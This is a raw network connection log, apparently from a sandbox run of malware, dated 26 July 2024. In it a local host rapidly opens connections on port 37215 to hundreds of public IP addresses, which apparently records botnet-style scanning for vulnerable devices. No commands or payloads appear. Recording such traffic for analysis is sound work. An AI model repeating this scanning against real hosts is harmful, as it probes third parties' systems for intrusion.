Jul 26, 2024 17:42:01.932549953 CEST	50956	37215	192.168.2.15	153.15.187.13
Jul 26, 2024 17:42:01.932928085 CEST	37215	34962	157.146.55.247	192.168.2.15
Jul 26, 2024 17:42:01.932951927 CEST	37215	43328	197.98.34.184	192.168.2.15
Jul 26, 2024 17:42:01.932959080 CEST	37215	59606	41.55.10.170	192.168.2.15
Jul 26, 2024 17:42:01.932965994 CEST	37215	33476	157.20.180.36	192.168.2.15
Jul 26, 2024 17:42:01.933119059 CEST	37215	47750	106.205.211.61	192.168.2.15
Jul 26, 2024 17:42:01.933126926 CEST	37215	60884	197.132.136.99	192.168.2.15
Jul 26, 2024 17:42:01.933135033 CEST	37215	60478	41.229.153.155	192.168.2.15
Jul 26, 2024 17:42:01.933141947 CEST	37215	39180	41.58.129.177	192.168.2.15
Jul 26, 2024 17:42:01.933146000 CEST	37215	56226	41.83.232.96	192.168.2.15
Jul 26, 2024 17:42:01.933152914 CEST	37215	37064	41.64.35.71	192.168.2.15
Jul 26, 2024 17:42:01.933161020 CEST	37215	49308	41.91.212.97	192.168.2.15
Jul 26, 2024 17:42:01.933166981 CEST	37215	38512	157.35.116.97	192.168.2.15
Jul 26, 2024 17:42:01.933176041 CEST	37215	35256	23.114.18.67	192.168.2.15
Jul 26, 2024 17:42:01.933185101 CEST	37215	55052	197.157.241.85	192.168.2.15
Jul 26, 2024 17:42:01.933202982 CEST	37215	50666	41.98.163.146	192.168.2.15
Jul 26, 2024 17:42:01.933211088 CEST	37215	40738	157.160.227.147	192.168.2.15
Jul 26, 2024 17:42:01.933218956 CEST	37215	53312	112.234.47.50	192.168.2.15
Jul 26, 2024 17:42:01.933226109 CEST	37215	53334	197.151.238.8	192.168.2.15
Jul 26, 2024 17:42:01.933233976 CEST	37215	57910	197.6.116.163	192.168.2.15
Jul 26, 2024 17:42:01.933240891 CEST	37215	34104	78.13.212.84	192.168.2.15
Jul 26, 2024 17:42:01.933249950 CEST	37215	57654	41.73.141.211	192.168.2.15
Jul 26, 2024 17:42:01.933257103 CEST	37215	39856	157.87.177.118	192.168.2.15
Jul 26, 2024 17:42:01.933264017 CEST	37215	49782	197.134.35.140	192.168.2.15
Jul 26, 2024 17:42:01.933273077 CEST	37215	37412	41.160.147.129	192.168.2.15
Jul 26, 2024 17:42:01.933280945 CEST	37215	58528	41.210.186.186	192.168.2.15
Jul 26, 2024 17:42:01.933289051 CEST	37215	55986	1.148.239.73	192.168.2.15
Jul 26, 2024 17:42:01.933293104 CEST	37215	60380	193.228.232.39	192.168.2.15
Jul 26, 2024 17:42:01.933300972 CEST	37215	55404	109.155.217.16	192.168.2.15
Jul 26, 2024 17:42:01.933307886 CEST	37215	49070	137.233.56.245	192.168.2.15
Jul 26, 2024 17:42:01.933311939 CEST	37215	56174	157.63.211.250	192.168.2.15
Jul 26, 2024 17:42:01.933319092 CEST	37215	38850	202.201.192.159	192.168.2.15
Jul 26, 2024 17:42:01.933326006 CEST	37215	55948	18.189.172.188	192.168.2.15
Jul 26, 2024 17:42:01.933334112 CEST	37215	60956	197.225.190.134	192.168.2.15
Jul 26, 2024 17:42:01.933341026 CEST	37215	40324	126.255.146.247	192.168.2.15
Jul 26, 2024 17:42:01.933358908 CEST	37215	40810	157.6.148.23	192.168.2.15
Jul 26, 2024 17:42:01.933368921 CEST	37215	59276	103.70.219.127	192.168.2.15
Jul 26, 2024 17:42:01.933377028 CEST	37215	44838	157.67.97.71	192.168.2.15
Jul 26, 2024 17:42:01.933383942 CEST	37215	60700	213.97.112.105	192.168.2.15
Jul 26, 2024 17:42:01.933392048 CEST	37215	45156	197.93.55.208	192.168.2.15
Jul 26, 2024 17:42:01.933399916 CEST	37215	56208	197.189.110.169	192.168.2.15
Jul 26, 2024 17:42:01.933407068 CEST	37215	35720	157.199.97.75	192.168.2.15
Jul 26, 2024 17:42:01.933423042 CEST	37215	47378	157.237.142.35	192.168.2.15
Jul 26, 2024 17:42:01.933432102 CEST	37215	49120	41.210.89.60	192.168.2.15
Jul 26, 2024 17:42:01.933439016 CEST	37215	54552	197.25.156.81	192.168.2.15
Jul 26, 2024 17:42:01.933446884 CEST	37215	56274	197.102.130.238	192.168.2.15
Jul 26, 2024 17:42:01.933454990 CEST	37215	60020	163.157.201.25	192.168.2.15
Jul 26, 2024 17:42:01.933458090 CEST	37215	51376	2.38.61.27	192.168.2.15
Jul 26, 2024 17:42:01.933465958 CEST	37215	51144	41.208.106.86	192.168.2.15
Jul 26, 2024 17:42:01.933473110 CEST	37215	46624	197.114.251.28	192.168.2.15
Jul 26, 2024 17:42:01.933480978 CEST	37215	43642	157.130.223.218	192.168.2.15
Jul 26, 2024 17:42:01.933490038 CEST	37215	50678	41.171.88.140	192.168.2.15
Jul 26, 2024 17:42:01.933497906 CEST	37215	48602	41.102.255.32	192.168.2.15
Jul 26, 2024 17:42:01.933505058 CEST	37215	58670	157.198.230.178	192.168.2.15
Jul 26, 2024 17:42:01.933511972 CEST	37215	50154	41.116.64.233	192.168.2.15
Jul 26, 2024 17:42:01.933518887 CEST	37215	54740	48.151.70.89	192.168.2.15
Jul 26, 2024 17:42:01.933540106 CEST	37215	35146	192.123.227.88	192.168.2.15
Jul 26, 2024 17:42:01.933549881 CEST	37215	45118	157.94.4.152	192.168.2.15
Jul 26, 2024 17:42:01.933557987 CEST	37215	39470	157.94.112.33	192.168.2.15
Jul 26, 2024 17:42:01.933561087 CEST	37215	45838	197.230.227.35	192.168.2.15
Jul 26, 2024 17:42:01.933568954 CEST	37215	49132	157.6.72.247	192.168.2.15
Jul 26, 2024 17:42:01.933576107 CEST	37215	47498	197.39.222.54	192.168.2.15
Jul 26, 2024 17:42:01.933584929 CEST	37215	42956	157.31.97.126	192.168.2.15
Jul 26, 2024 17:42:01.933592081 CEST	37215	59738	157.60.145.81	192.168.2.15
Jul 26, 2024 17:42:01.933598995 CEST	37215	43790	41.11.65.133	192.168.2.15
Jul 26, 2024 17:42:01.933607101 CEST	37215	53646	24.231.168.41	192.168.2.15
Jul 26, 2024 17:42:01.933614016 CEST	37215	51934	23.147.182.187	192.168.2.15
Jul 26, 2024 17:42:01.933621883 CEST	37215	56730	197.142.153.220	192.168.2.15
Jul 26, 2024 17:42:01.933629990 CEST	37215	50244	102.56.88.186	192.168.2.15
Jul 26, 2024 17:42:01.933636904 CEST	37215	35580	41.119.153.117	192.168.2.15
Jul 26, 2024 17:42:01.933644056 CEST	37215	58488	197.47.175.40	192.168.2.15
Jul 26, 2024 17:42:01.933653116 CEST	37215	42566	211.23.96.64	192.168.2.15
Jul 26, 2024 17:42:01.933660030 CEST	37215	41060	157.205.139.180	192.168.2.15
Jul 26, 2024 17:42:01.933675051 CEST	37215	51760	192.17.125.10	192.168.2.15
Jul 26, 2024 17:42:01.933689117 CEST	37215	45270	197.54.40.22	192.168.2.15
Jul 26, 2024 17:42:01.933701038 CEST	37215	57192	217.255.162.157	192.168.2.15
Jul 26, 2024 17:42:01.933708906 CEST	37215	39182	197.32.97.173	192.168.2.15
Jul 26, 2024 17:42:01.933717966 CEST	37215	52838	41.232.167.103	192.168.2.15
Jul 26, 2024 17:42:01.933727980 CEST	37215	36858	197.112.4.97	192.168.2.15
Jul 26, 2024 17:42:01.933736086 CEST	37215	41604	41.160.9.226	192.168.2.15
Jul 26, 2024 17:42:01.933743954 CEST	37215	57736	157.10.215.35	192.168.2.15
Jul 26, 2024 17:42:01.933751106 CEST	37215	48270	157.160.10.123	192.168.2.15
Jul 26, 2024 17:42:01.933753967 CEST	37215	48610	197.96.107.38	192.168.2.15
Jul 26, 2024 17:42:01.933762074 CEST	37215	38984	157.253.160.68	192.168.2.15
Jul 26, 2024 17:42:01.933769941 CEST	37215	49092	211.6.214.175	192.168.2.15
Jul 26, 2024 17:42:01.933778048 CEST	37215	46688	197.43.30.179	192.168.2.15
Jul 26, 2024 17:42:01.933785915 CEST	37215	37242	41.143.15.18	192.168.2.15
Jul 26, 2024 17:42:01.933793068 CEST	37215	39172	197.78.44.191	192.168.2.15
Jul 26, 2024 17:42:01.933799982 CEST	37215	53240	197.1.219.105	192.168.2.15
Jul 26, 2024 17:42:01.933808088 CEST	37215	36994	158.129.148.234	192.168.2.15
Jul 26, 2024 17:42:01.933813095 CEST	37215	37094	197.255.12.216	192.168.2.15
Jul 26, 2024 17:42:01.933820009 CEST	37215	55412	157.144.55.235	192.168.2.15
Jul 26, 2024 17:42:01.933823109 CEST	37215	44616	149.76.30.6	192.168.2.15
Jul 26, 2024 17:42:01.933831930 CEST	37215	37816	197.12.225.63	192.168.2.15
Jul 26, 2024 17:42:01.933839083 CEST	37215	54202	197.76.235.85	192.168.2.15
Jul 26, 2024 17:42:01.933846951 CEST	37215	46172	41.234.173.92	192.168.2.15
Jul 26, 2024 17:42:01.933854103 CEST	37215	47726	157.131.83.80	192.168.2.15
Jul 26, 2024 17:42:01.933862925 CEST	37215	37812	157.194.249.71	192.168.2.15
Jul 26, 2024 17:42:01.934698105 CEST	54560	37215	192.168.2.15	41.76.165.220
Jul 26, 2024 17:42:01.935129881 CEST	37215	53276	41.11.38.33	192.168.2.15
Jul 26, 2024 17:42:01.935168982 CEST	53276	37215	192.168.2.15	41.11.38.33
Jul 26, 2024 17:42:01.935887098 CEST	43478	37215	192.168.2.15	41.232.234.59
Jul 26, 2024 17:42:01.936341047 CEST	37215	56840	41.12.247.102	192.168.2.15
Jul 26, 2024 17:42:01.936424971 CEST	56840	37215	192.168.2.15	41.12.247.102
Jul 26, 2024 17:42:01.937371969 CEST	59310	37215	192.168.2.15	41.215.45.122
Jul 26, 2024 17:42:01.938580036 CEST	40974	37215	192.168.2.15	153.180.1.96
Jul 26, 2024 17:42:01.938747883 CEST	37215	39034	197.114.78.215	192.168.2.15
Jul 26, 2024 17:42:01.938787937 CEST	39034	37215	192.168.2.15	197.114.78.215
Jul 26, 2024 17:42:01.939646006 CEST	39762	37215	192.168.2.15	41.130.148.85
Jul 26, 2024 17:42:01.940475941 CEST	37215	60618	38.110.93.103	192.168.2.15
Jul 26, 2024 17:42:01.940505028 CEST	37215	57270	41.172.255.117	192.168.2.15
Jul 26, 2024 17:42:01.940506935 CEST	60618	37215	192.168.2.15	38.110.93.103
Jul 26, 2024 17:42:01.940538883 CEST	57270	37215	192.168.2.15	41.172.255.117
Jul 26, 2024 17:42:01.940907955 CEST	37215	48372	41.68.254.14	192.168.2.15
Jul 26, 2024 17:42:01.940922976 CEST	37215	37074	41.30.204.137	192.168.2.15
Jul 26, 2024 17:42:01.940933943 CEST	37215	47232	197.165.27.168	192.168.2.15
Jul 26, 2024 17:42:01.940942049 CEST	48372	37215	192.168.2.15	41.68.254.14
Jul 26, 2024 17:42:01.940954924 CEST	37074	37215	192.168.2.15	41.30.204.137
Jul 26, 2024 17:42:01.940963030 CEST	47232	37215	192.168.2.15	197.165.27.168
Jul 26, 2024 17:42:01.941432953 CEST	34038	37215	192.168.2.15	41.140.89.175
Jul 26, 2024 17:42:01.941517115 CEST	37215	42424	223.164.117.74	192.168.2.15
Jul 26, 2024 17:42:01.941539049 CEST	37215	35734	197.180.119.91	192.168.2.15
Jul 26, 2024 17:42:01.941554070 CEST	42424	37215	192.168.2.15	223.164.117.74
Jul 26, 2024 17:42:01.941576958 CEST	35734	37215	192.168.2.15	197.180.119.91
Jul 26, 2024 17:42:01.941869974 CEST	37215	50956	153.15.187.13	192.168.2.15
Jul 26, 2024 17:42:01.941951036 CEST	50956	37215	192.168.2.15	153.15.187.13
Jul 26, 2024 17:42:01.944161892 CEST	42792	37215	192.168.2.15	197.121.253.62
Jul 26, 2024 17:42:01.946338892 CEST	37215	54560	41.76.165.220	192.168.2.15
Jul 26, 2024 17:42:01.946372986 CEST	37215	43478	41.232.234.59	192.168.2.15
Jul 26, 2024 17:42:01.946377993 CEST	54560	37215	192.168.2.15	41.76.165.220
Jul 26, 2024 17:42:01.946420908 CEST	43478	37215	192.168.2.15	41.232.234.59
Jul 26, 2024 17:42:01.946846008 CEST	45746	37215	192.168.2.15	157.239.10.81
Jul 26, 2024 17:42:01.947354078 CEST	37215	59310	41.215.45.122	192.168.2.15
Jul 26, 2024 17:42:01.947386980 CEST	59310	37215	192.168.2.15	41.215.45.122
Jul 26, 2024 17:42:01.948060036 CEST	50370	37215	192.168.2.15	157.88.236.173
Jul 26, 2024 17:42:01.948332071 CEST	37215	40974	153.180.1.96	192.168.2.15
Jul 26, 2024 17:42:01.948354006 CEST	37215	39762	41.130.148.85	192.168.2.15
Jul 26, 2024 17:42:01.948371887 CEST	40974	37215	192.168.2.15	153.180.1.96
Jul 26, 2024 17:42:01.948389053 CEST	39762	37215	192.168.2.15	41.130.148.85
Jul 26, 2024 17:42:01.949188948 CEST	37215	34038	41.140.89.175	192.168.2.15
Jul 26, 2024 17:42:01.949229002 CEST	34038	37215	192.168.2.15	41.140.89.175
Jul 26, 2024 17:42:01.949479103 CEST	37215	42792	197.121.253.62	192.168.2.15
Jul 26, 2024 17:42:01.949513912 CEST	42792	37215	192.168.2.15	197.121.253.62
Jul 26, 2024 17:42:01.949598074 CEST	38458	37215	192.168.2.15	41.242.228.108
Jul 26, 2024 17:42:01.950515985 CEST	58530	37215	192.168.2.15	218.25.22.207
Jul 26, 2024 17:42:01.950562954 CEST	14150	37215	192.168.2.15	197.76.158.173
Jul 26, 2024 17:42:01.950601101 CEST	14150	37215	192.168.2.15	157.195.91.26
Jul 26, 2024 17:42:01.950603008 CEST	14150	37215	192.168.2.15	197.237.55.185
Jul 26, 2024 17:42:01.950659990 CEST	14150	37215	192.168.2.15	172.114.80.126
Jul 26, 2024 17:42:01.950660944 CEST	14150	37215	192.168.2.15	184.47.229.66
Jul 26, 2024 17:42:01.950660944 CEST	14150	37215	192.168.2.15	102.33.27.18
Jul 26, 2024 17:42:01.950675964 CEST	14150	37215	192.168.2.15	157.231.94.32
Jul 26, 2024 17:42:01.950711012 CEST	14150	37215	192.168.2.15	41.140.107.15
Jul 26, 2024 17:42:01.950716019 CEST	14150	37215	192.168.2.15	197.31.230.114
Jul 26, 2024 17:42:01.950737000 CEST	14150	37215	192.168.2.15	41.75.245.73
Jul 26, 2024 17:42:01.950741053 CEST	14150	37215	192.168.2.15	155.192.202.50
Jul 26, 2024 17:42:01.950783014 CEST	14150	37215	192.168.2.15	41.178.84.90
Jul 26, 2024 17:42:01.950783014 CEST	14150	37215	192.168.2.15	123.29.130.155
Jul 26, 2024 17:42:01.950803041 CEST	14150	37215	192.168.2.15	41.182.11.167
Jul 26, 2024 17:42:01.950803995 CEST	14150	37215	192.168.2.15	84.34.46.1
Jul 26, 2024 17:42:01.950804949 CEST	14150	37215	192.168.2.15	197.219.122.85
Jul 26, 2024 17:42:01.950828075 CEST	14150	37215	192.168.2.15	101.21.16.213
Jul 26, 2024 17:42:01.950889111 CEST	14150	37215	192.168.2.15	41.198.181.13
Jul 26, 2024 17:42:01.950890064 CEST	14150	37215	192.168.2.15	41.164.74.42
Jul 26, 2024 17:42:01.950967073 CEST	14150	37215	192.168.2.15	157.114.119.40
Jul 26, 2024 17:42:01.950968981 CEST	14150	37215	192.168.2.15	157.51.89.254
Jul 26, 2024 17:42:01.950968981 CEST	14150	37215	192.168.2.15	105.35.239.234
Jul 26, 2024 17:42:01.950984001 CEST	14150	37215	192.168.2.15	157.252.22.173
Jul 26, 2024 17:42:01.950994015 CEST	14150	37215	192.168.2.15	197.162.249.163
Jul 26, 2024 17:42:01.950995922 CEST	14150	37215	192.168.2.15	35.0.100.220
Jul 26, 2024 17:42:01.950998068 CEST	14150	37215	192.168.2.15	197.11.115.242
Jul 26, 2024 17:42:01.951030970 CEST	14150	37215	192.168.2.15	197.119.114.214
Jul 26, 2024 17:42:01.951030970 CEST	14150	37215	192.168.2.15	49.29.129.149
Jul 26, 2024 17:42:01.951030970 CEST	14150	37215	192.168.2.15	103.221.195.65
Jul 26, 2024 17:42:01.951052904 CEST	14150	37215	192.168.2.15	197.214.37.126
Jul 26, 2024 17:42:01.951066971 CEST	14150	37215	192.168.2.15	157.105.86.72
Jul 26, 2024 17:42:01.951100111 CEST	14150	37215	192.168.2.15	123.249.101.104
Jul 26, 2024 17:42:01.951127052 CEST	14150	37215	192.168.2.15	41.131.135.94
Jul 26, 2024 17:42:01.951149940 CEST	14150	37215	192.168.2.15	157.61.123.126
Jul 26, 2024 17:42:01.951164961 CEST	14150	37215	192.168.2.15	157.141.168.114
Jul 26, 2024 17:42:01.951164961 CEST	14150	37215	192.168.2.15	197.185.42.136
Jul 26, 2024 17:42:01.951196909 CEST	14150	37215	192.168.2.15	128.210.223.33
Jul 26, 2024 17:42:01.951198101 CEST	14150	37215	192.168.2.15	197.192.99.218
Jul 26, 2024 17:42:01.951205969 CEST	14150	37215	192.168.2.15	197.100.159.198
Jul 26, 2024 17:42:01.951241016 CEST	14150	37215	192.168.2.15	187.2.62.124
Jul 26, 2024 17:42:01.951309919 CEST	14150	37215	192.168.2.15	106.157.24.127
Jul 26, 2024 17:42:01.951309919 CEST	14150	37215	192.168.2.15	72.194.119.143
Jul 26, 2024 17:42:01.951309919 CEST	14150	37215	192.168.2.15	41.71.87.126
Jul 26, 2024 17:42:01.951311111 CEST	14150	37215	192.168.2.15	41.233.87.97
Jul 26, 2024 17:42:01.951339006 CEST	14150	37215	192.168.2.15	199.177.172.209
Jul 26, 2024 17:42:01.951384068 CEST	14150	37215	192.168.2.15	157.79.31.23
Jul 26, 2024 17:42:01.951396942 CEST	14150	37215	192.168.2.15	41.98.155.52
Jul 26, 2024 17:42:01.951400042 CEST	14150	37215	192.168.2.15	197.14.134.65
Jul 26, 2024 17:42:01.951435089 CEST	14150	37215	192.168.2.15	157.166.67.216
Jul 26, 2024 17:42:01.951452017 CEST	14150	37215	192.168.2.15	157.232.73.119
Jul 26, 2024 17:42:01.951452017 CEST	14150	37215	192.168.2.15	42.24.106.31
Jul 26, 2024 17:42:01.951488018 CEST	14150	37215	192.168.2.15	157.171.58.37
Jul 26, 2024 17:42:01.951488018 CEST	14150	37215	192.168.2.15	197.93.43.13
Jul 26, 2024 17:42:01.951518059 CEST	14150	37215	192.168.2.15	205.111.49.207
Jul 26, 2024 17:42:01.951518059 CEST	14150	37215	192.168.2.15	197.237.249.128
Jul 26, 2024 17:42:01.951545000 CEST	14150	37215	192.168.2.15	197.198.63.31
Jul 26, 2024 17:42:01.951548100 CEST	14150	37215	192.168.2.15	197.23.61.116
Jul 26, 2024 17:42:01.951617956 CEST	14150	37215	192.168.2.15	41.144.189.163
Jul 26, 2024 17:42:01.951620102 CEST	14150	37215	192.168.2.15	117.184.100.177
Jul 26, 2024 17:42:01.951620102 CEST	14150	37215	192.168.2.15	41.74.98.38
Jul 26, 2024 17:42:01.951630116 CEST	14150	37215	192.168.2.15	74.21.39.92
Jul 26, 2024 17:42:01.951663971 CEST	14150	37215	192.168.2.15	197.107.155.114
Jul 26, 2024 17:42:01.951666117 CEST	14150	37215	192.168.2.15	41.232.39.4
Jul 26, 2024 17:42:01.951714039 CEST	14150	37215	192.168.2.15	157.197.185.71
Jul 26, 2024 17:42:01.951714993 CEST	14150	37215	192.168.2.15	157.121.141.238
Jul 26, 2024 17:42:01.951715946 CEST	14150	37215	192.168.2.15	41.167.107.191
Jul 26, 2024 17:42:01.951751947 CEST	14150	37215	192.168.2.15	157.13.106.4
Jul 26, 2024 17:42:01.951751947 CEST	14150	37215	192.168.2.15	41.190.146.226
Jul 26, 2024 17:42:01.951771975 CEST	14150	37215	192.168.2.15	41.150.211.103
Jul 26, 2024 17:42:01.951803923 CEST	14150	37215	192.168.2.15	41.68.139.29
Jul 26, 2024 17:42:01.951822996 CEST	14150	37215	192.168.2.15	41.227.84.105
Jul 26, 2024 17:42:01.951862097 CEST	14150	37215	192.168.2.15	24.103.209.161
Jul 26, 2024 17:42:01.951865911 CEST	14150	37215	192.168.2.15	197.224.46.253
Jul 26, 2024 17:42:01.951899052 CEST	14150	37215	192.168.2.15	139.14.159.31
Jul 26, 2024 17:42:01.951916933 CEST	14150	37215	192.168.2.15	201.93.30.9
Jul 26, 2024 17:42:01.951944113 CEST	14150	37215	192.168.2.15	157.240.134.171
Jul 26, 2024 17:42:01.951944113 CEST	14150	37215	192.168.2.15	197.116.169.227
Jul 26, 2024 17:42:01.951965094 CEST	14150	37215	192.168.2.15	197.68.12.38
Jul 26, 2024 17:42:01.951992035 CEST	14150	37215	192.168.2.15	187.94.210.128
Jul 26, 2024 17:42:01.951992989 CEST	14150	37215	192.168.2.15	157.116.16.138
Jul 26, 2024 17:42:01.952008963 CEST	14150	37215	192.168.2.15	41.15.202.252
Jul 26, 2024 17:42:01.952023983 CEST	14150	37215	192.168.2.15	185.51.208.67
Jul 26, 2024 17:42:01.952032089 CEST	37215	45746	157.239.10.81	192.168.2.15
Jul 26, 2024 17:42:01.952064991 CEST	45746	37215	192.168.2.15	157.239.10.81
Jul 26, 2024 17:42:01.952073097 CEST	14150	37215	192.168.2.15	189.212.24.162
Jul 26, 2024 17:42:01.952083111 CEST	14150	37215	192.168.2.15	157.181.159.247
Jul 26, 2024 17:42:01.952114105 CEST	14150	37215	192.168.2.15	157.34.226.89
Jul 26, 2024 17:42:01.952116966 CEST	14150	37215	192.168.2.15	197.159.16.91
Jul 26, 2024 17:42:01.952163935 CEST	14150	37215	192.168.2.15	41.176.46.30
Jul 26, 2024 17:42:01.952191114 CEST	14150	37215	192.168.2.15	157.238.174.45
Jul 26, 2024 17:42:01.952193022 CEST	14150	37215	192.168.2.15	41.217.247.118
Jul 26, 2024 17:42:01.952229023 CEST	14150	37215	192.168.2.15	134.217.74.218
Jul 26, 2024 17:42:01.952229977 CEST	14150	37215	192.168.2.15	157.56.147.132
Jul 26, 2024 17:42:01.952233076 CEST	14150	37215	192.168.2.15	41.122.226.131
Jul 26, 2024 17:42:01.952272892 CEST	14150	37215	192.168.2.15	191.222.104.243
Jul 26, 2024 17:42:01.952272892 CEST	14150	37215	192.168.2.15	197.150.236.87
Jul 26, 2024 17:42:01.952316999 CEST	14150	37215	192.168.2.15	197.24.218.59
Jul 26, 2024 17:42:01.952316999 CEST	14150	37215	192.168.2.15	197.222.81.202
Jul 26, 2024 17:42:01.952358007 CEST	14150	37215	192.168.2.15	157.103.142.99
Jul 26, 2024 17:42:01.952361107 CEST	14150	37215	192.168.2.15	41.108.90.174
Jul 26, 2024 17:42:01.952368975 CEST	14150	37215	192.168.2.15	197.170.105.186
Jul 26, 2024 17:42:01.952393055 CEST	14150	37215	192.168.2.15	41.79.95.86
Jul 26, 2024 17:42:01.952466965 CEST	14150	37215	192.168.2.15	221.34.45.200
Jul 26, 2024 17:42:01.952467918 CEST	14150	37215	192.168.2.15	114.221.176.88
Jul 26, 2024 17:42:01.952470064 CEST	14150	37215	192.168.2.15	157.152.24.65
Jul 26, 2024 17:42:01.952508926 CEST	14150	37215	192.168.2.15	41.76.185.3
Jul 26, 2024 17:42:01.952508926 CEST	14150	37215	192.168.2.15	66.76.208.188
Jul 26, 2024 17:42:01.952586889 CEST	14150	37215	192.168.2.15	89.133.172.27
Jul 26, 2024 17:42:01.952586889 CEST	14150	37215	192.168.2.15	41.201.183.22
Jul 26, 2024 17:42:01.952609062 CEST	14150	37215	192.168.2.15	18.216.116.163
Jul 26, 2024 17:42:01.952610970 CEST	14150	37215	192.168.2.15	41.225.198.125
Jul 26, 2024 17:42:01.952636003 CEST	14150	37215	192.168.2.15	114.119.153.135
Jul 26, 2024 17:42:01.952655077 CEST	14150	37215	192.168.2.15	197.40.196.170
Jul 26, 2024 17:42:01.952688932 CEST	14150	37215	192.168.2.15	41.43.54.3
Jul 26, 2024 17:42:01.952689886 CEST	14150	37215	192.168.2.15	41.247.4.203
Jul 26, 2024 17:42:01.952739000 CEST	14150	37215	192.168.2.15	157.31.70.151
Jul 26, 2024 17:42:01.952739954 CEST	14150	37215	192.168.2.15	157.178.2.174
Jul 26, 2024 17:42:01.952739954 CEST	14150	37215	192.168.2.15	41.101.178.90
Jul 26, 2024 17:42:01.952749014 CEST	14150	37215	192.168.2.15	197.41.246.36
Jul 26, 2024 17:42:01.952796936 CEST	14150	37215	192.168.2.15	41.106.197.1
Jul 26, 2024 17:42:01.952817917 CEST	14150	37215	192.168.2.15	41.52.135.232
Jul 26, 2024 17:42:01.952817917 CEST	14150	37215	192.168.2.15	41.246.9.19
Jul 26, 2024 17:42:01.952848911 CEST	14150	37215	192.168.2.15	157.64.2.82
Jul 26, 2024 17:42:01.952871084 CEST	14150	37215	192.168.2.15	41.237.187.28
Jul 26, 2024 17:42:01.952893972 CEST	14150	37215	192.168.2.15	107.181.49.106
Jul 26, 2024 17:42:01.952902079 CEST	14150	37215	192.168.2.15	41.212.34.158
Jul 26, 2024 17:42:01.952958107 CEST	14150	37215	192.168.2.15	41.232.91.161
Jul 26, 2024 17:42:01.952959061 CEST	14150	37215	192.168.2.15	157.57.95.15
Jul 26, 2024 17:42:01.952959061 CEST	14150	37215	192.168.2.15	157.28.143.219
Jul 26, 2024 17:42:01.953011036 CEST	14150	37215	192.168.2.15	41.53.81.76
Jul 26, 2024 17:42:01.953011036 CEST	14150	37215	192.168.2.15	41.145.26.0
Jul 26, 2024 17:42:01.953012943 CEST	14150	37215	192.168.2.15	197.81.242.97
Jul 26, 2024 17:42:01.953069925 CEST	14150	37215	192.168.2.15	172.227.205.56
Jul 26, 2024 17:42:01.953071117 CEST	14150	37215	192.168.2.15	197.108.176.41
Jul 26, 2024 17:42:01.953071117 CEST	14150	37215	192.168.2.15	197.36.100.144
Jul 26, 2024 17:42:01.953124046 CEST	14150	37215	192.168.2.15	157.1.227.127
Jul 26, 2024 17:42:01.953124046 CEST	14150	37215	192.168.2.15	197.46.90.217
Jul 26, 2024 17:42:01.953125000 CEST	14150	37215	192.168.2.15	197.120.186.78
Jul 26, 2024 17:42:01.953164101 CEST	14150	37215	192.168.2.15	94.136.219.231
Jul 26, 2024 17:42:01.953165054 CEST	14150	37215	192.168.2.15	157.144.38.236
Jul 26, 2024 17:42:01.953195095 CEST	14150	37215	192.168.2.15	95.119.17.165
Jul 26, 2024 17:42:01.953233957 CEST	14150	37215	192.168.2.15	41.145.12.158
Jul 26, 2024 17:42:01.953258038 CEST	14150	37215	192.168.2.15	197.26.49.253
Jul 26, 2024 17:42:01.953262091 CEST	14150	37215	192.168.2.15	197.245.186.50
Jul 26, 2024 17:42:01.953263044 CEST	14150	37215	192.168.2.15	86.12.52.246
Jul 26, 2024 17:42:01.953274012 CEST	14150	37215	192.168.2.15	41.70.62.242
Jul 26, 2024 17:42:01.953288078 CEST	14150	37215	192.168.2.15	41.232.87.66
Jul 26, 2024 17:42:01.953346968 CEST	14150	37215	192.168.2.15	157.156.70.23
Jul 26, 2024 17:42:01.953347921 CEST	14150	37215	192.168.2.15	173.179.217.99
Jul 26, 2024 17:42:01.953347921 CEST	14150	37215	192.168.2.15	157.88.204.168
Jul 26, 2024 17:42:01.953387976 CEST	14150	37215	192.168.2.15	157.214.250.211
Jul 26, 2024 17:42:01.953425884 CEST	14150	37215	192.168.2.15	41.166.31.54
Jul 26, 2024 17:42:01.953428984 CEST	14150	37215	192.168.2.15	41.24.113.36
Jul 26, 2024 17:42:01.953475952 CEST	14150	37215	192.168.2.15	157.127.165.24
Jul 26, 2024 17:42:01.953476906 CEST	14150	37215	192.168.2.15	157.105.145.86
Jul 26, 2024 17:42:01.953478098 CEST	14150	37215	192.168.2.15	62.189.52.141
Jul 26, 2024 17:42:01.953511953 CEST	14150	37215	192.168.2.15	197.243.127.155
Jul 26, 2024 17:42:01.953516006 CEST	14150	37215	192.168.2.15	197.79.24.192
Jul 26, 2024 17:42:01.953527927 CEST	14150	37215	192.168.2.15	41.167.188.118
Jul 26, 2024 17:42:01.953548908 CEST	14150	37215	192.168.2.15	41.199.13.138
Jul 26, 2024 17:42:01.953550100 CEST	14150	37215	192.168.2.15	197.72.183.15
Jul 26, 2024 17:42:01.953582048 CEST	14150	37215	192.168.2.15	86.114.183.124
Jul 26, 2024 17:42:01.953583002 CEST	14150	37215	192.168.2.15	35.228.64.199
Jul 26, 2024 17:42:01.953586102 CEST	14150	37215	192.168.2.15	197.215.222.121
Jul 26, 2024 17:42:01.953618050 CEST	14150	37215	192.168.2.15	41.187.124.185
Jul 26, 2024 17:42:01.953654051 CEST	14150	37215	192.168.2.15	157.223.162.226
Jul 26, 2024 17:42:01.953654051 CEST	14150	37215	192.168.2.15	157.129.144.162
Jul 26, 2024 17:42:01.953665972 CEST	14150	37215	192.168.2.15	157.111.44.214
Jul 26, 2024 17:42:01.953668118 CEST	14150	37215	192.168.2.15	39.64.229.255
Jul 26, 2024 17:42:01.953689098 CEST	14150	37215	192.168.2.15	197.49.110.224
Jul 26, 2024 17:42:01.953718901 CEST	14150	37215	192.168.2.15	53.88.17.187
Jul 26, 2024 17:42:01.953741074 CEST	14150	37215	192.168.2.15	41.129.199.206
Jul 26, 2024 17:42:01.953746080 CEST	14150	37215	192.168.2.15	41.186.137.160
Jul 26, 2024 17:42:01.953804970 CEST	14150	37215	192.168.2.15	157.93.87.77
Jul 26, 2024 17:42:01.953805923 CEST	14150	37215	192.168.2.15	157.130.228.169
Jul 26, 2024 17:42:01.953808069 CEST	37215	50370	157.88.236.173	192.168.2.15
Jul 26, 2024 17:42:01.953834057 CEST	14150	37215	192.168.2.15	197.134.109.67
Jul 26, 2024 17:42:01.953835011 CEST	14150	37215	192.168.2.15	197.79.218.18
Jul 26, 2024 17:42:01.953835964 CEST	14150	37215	192.168.2.15	197.129.144.238
Jul 26, 2024 17:42:01.953855991 CEST	14150	37215	192.168.2.15	197.135.252.192
Jul 26, 2024 17:42:01.953876019 CEST	50370	37215	192.168.2.15	157.88.236.173
